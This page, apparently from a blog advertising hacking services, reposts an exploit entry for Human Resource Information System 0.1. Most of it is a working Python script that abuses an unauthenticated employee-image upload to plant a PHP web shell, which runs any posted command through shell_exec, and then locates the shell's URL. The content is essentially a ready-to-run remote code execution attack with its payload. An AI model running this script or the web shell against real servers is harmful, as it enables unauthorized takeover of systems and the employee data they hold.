Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86388608

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Human Resource Information System 0.1 - Remote Code Execution (Unauthenticated)
# Date: 04-05-2021
# Exploit Author: Reza Afsahi
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14714/human-resource-information-using-phpmysqliobject-orientedcomplete-free-sourcecode.html
# Software Download: https://www.sourcecodester.com/download-code?nid=14714&title=Human+Resource+Information+System+Using+PHP+with+Source+Code
# Version: 0.1
# Tested on: PHP 7.4.11 , Linux x64_x86

############################################################################################################

# Description:
# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.

############################################################################################################

# Proof of concept:

#!/usr/bin/python3

import requests
import sys
from bs4 import BeautifulSoup

def find_shell(domain):
    req_2 = requests.get(domain + "/Admin_Dashboard/Add_employee.php")
    soup = BeautifulSoup(req_2.content , "html.parser")
    imgs = soup.find_all("img")
    for i in imgs:
        src = i['src']
        if ("shell.php" in src):
            print(" [!] Your shell is ready :) ==> " + domain + "/Admin_Dashboard/" + src + "\n")
            break
        else:
            continue

def upload_file(domain):

    print("\n [!] Uploading Shell . . .")
    payload =  """ 
    <!DOCTYPE html>
<html>
<head>
	<title> Shell </title>
</head>
<body>
	<form action="#" method="post">
		<input type="text" name="cmd" style="width: 300px; height: 30px;" placeholder="Your Command ...">
		<br><br>
		<input type="submit" name="submit" value="execute">
	</form>
<?php 
	$cmd = $_POST['cmd'];
	$result = shell_exec($cmd);
	echo "<pre>{$result}</pre>";
	
?>
</body>
</html>
    """
    
    h = {
        "Content-Type" : "multipart/form-data"
    }

    f = {'employee_image':('shell.php',payload,
                    'application/x-php', {'Content-Disposition': 'form-data'}
              )
    }
    d = {
        "emplo"              : "",
        "employee_companyid" : "test",
        "employee_firstname" : "test",
        "employee_lastname"  : "test",
        "employee_middlename" : "test",
        "branches_datefrom"  : "0011-11-11",
        "branches_recentdate" : "2222-11-11",
        "employee_position"  : "test",
        "employee_contact"   : "23123132132",
        "employee_sss"       : "test",
        "employee_tin"       : "test",
        "employee_hdmf_pagibig" : "test",
        "employee_gsis"      : "test"
    }
    url = domain + "/Admin_Dashboard/process/addemployee_process.php"
    req = requests.post(url , data=d , files = f)
    if req.status_code == 200:
        if ("Insert Successfully" in req.text):
            print("\n [!] Shell uploaded succefully\n")
            find_shell(domain)

    else:
        print("Exploit Failed 1")

def main():
    if len(sys.argv) != 2:
        print('[!] usage: %s <target url> ' % sys.argv[0])
        print('[!] eg: %s http://vulndomain.com' % sys.argv[0])
        sys.exit(-1)

    print("<><><><><><><><><><><><><><><><><><><><><><><><>")
    print("<>      Human Resource Information System     <>")
    print("<>               Shell Uploader               <>")
    print("<><><><><><><><><><><><><><><><><><><><><><><><>")
    target_domain = sys.argv[1]
    upload_file(target_domain)

if __name__ == "__main__":
  main()